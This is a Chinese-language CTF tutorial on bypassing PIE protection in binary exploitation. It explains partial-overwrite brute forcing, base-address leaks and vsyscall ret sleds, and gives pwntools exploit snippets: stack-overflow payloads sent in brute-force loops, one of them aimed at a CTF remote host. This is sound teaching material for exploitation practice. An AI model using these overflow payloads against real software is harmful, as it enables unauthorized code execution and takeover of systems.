PIE

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题

开启PIE保护的时候每次运行时加载地址是随机变化的

PIE绕过方法

1.partial write

partial write就是利用了PIE技术的缺陷。内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程。(开启了PIE的程序在ida中地址都较小,text段一般为后三或四位,该地址为实际地址相对于程序的基地址的偏移。未开启PIE的程序在ida中地址为实际地址)

程序开启PIE后,可以修改vuln函数返回值的后四位位后门函数后四位(即ida中地址),原返回地址为main函数,由于main和vuln处于同一页加载,所以两者除后四位不同其余位均相同,修改后四位后即可得到后门函数的真实地址。

:虽然后三位地址不变,但我们不能修改一个半字节(对应三位),因此只能修改后四位,即低位两字节,因此需要爆破倒数第四位。

爆破模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
backdoor = 0x1231  //后三位为231
for m in range(16):
tmp = m * 16 + 2
payload = b'A'*0x68 + canary + b'deadbeef' + b'\x31' + p8(tmp) //temp爆破倒数第四位
io.send(payload)
a = io.recvline()
if b'flag' in a:
print(a)
break

io.interactive()

//或
while True:
try:
io = remote("node1.anna.nssctf.cn",28113)
payload=b'a'*0x108 + p16(0x11e5)#'\xe5\x11'
print(payload)
#gdb.attach(r)
io.send(payload)
io.interactive()
except:
io.close()
continue

2、泄露地址

开启PIE保护的话影响的是程序加载的基地址,不会影响指令间的相对地址,因此我们如果能够泄露出程序或者libc的某些地址,我们就可以利用偏移来构造ROP。

例题:easyecho

这题是通过stack smash带出flag,不过程序开启了PIE,需要先泄露程序基地址才能确定flag的实际地址进而替换argv[0]。

程序首先read函数16字节的输入,gdb调试发现,在read函数输入完后8个字节是可以打印的,因为是printf函数。该地址为指令push rbx的地址,我们可以泄露该地址然后与vmmap静态基地址相减得到该指令相对于程序基地址的偏移量为0xcf0。

当程序加载后,通过获得的该地址值减去偏移量即为程序加载时的基地址,根据基地址+flag偏移(ida查看)可计算出flag的实际地址。

pC7N6aj.png

pC7NcIs.png

3.vdso/vsyscall

现代的Windows/Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall。

:vsyscall并不是每个ubuntu版本都存在。

放到ida里分析:有三个无参内核调用,且该三个调用地址固定,pie不会改变这些地址。

ffffffffff600000 - ffffffffff601000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
seg000:FFFFFFFFFF600000 ; Segment type: Pure code
seg000:FFFFFFFFFF600000 seg000 segment byte public 'CODE' use64
seg000:FFFFFFFFFF600000 assume cs:seg000
seg000:FFFFFFFFFF600000 ;org 0FFFFFFFFFF600000h
seg000:FFFFFFFFFF600000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:FFFFFFFFFF600000 mov rax, 60h
seg000:FFFFFFFFFF600007 syscall ; $!
seg000:FFFFFFFFFF600009 retn
seg000:FFFFFFFFFF600009 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60000A align 400h
seg000:FFFFFFFFFF600400 mov rax, 0C9h
seg000:FFFFFFFFFF600407 syscall ; $!
seg000:FFFFFFFFFF600409 retn
seg000:FFFFFFFFFF600409 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60040A align 400h
seg000:FFFFFFFFFF600800 mov rax, 135h
seg000:FFFFFFFFFF600807 syscall ; $!
seg000:FFFFFFFFFF600809 retn
seg000:FFFFFFFFFF600809 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60080A align 800h
seg000:FFFFFFFFFF60080A seg000 ends

利用思路:

这三个系统调用分别是分别是gettimeofday, timegetcpu,虽然不能获取shell,但其中存在ret语句,且是固定的,这就意味着我们有可控的已知ret语句。因此,当栈上存在可以被修改为后门函数的函数地址但我们没法跳转到该处时,可以使用已知ret一直滑动过去,首先将栈上与后门函数处后四位不同的函数通过partial write修改为后门函数,然后一直使用ret填充,程序执行到返回地址时会一直滑到后门函数处获取shell。

exp:

1
2
3
4
5
ret_addr = 0xFFFFFFFFFF600000

io.send(p64(ret_addr) * 27 + p16(0x1234)) //假设后门函数后四位为1234

io.interactive()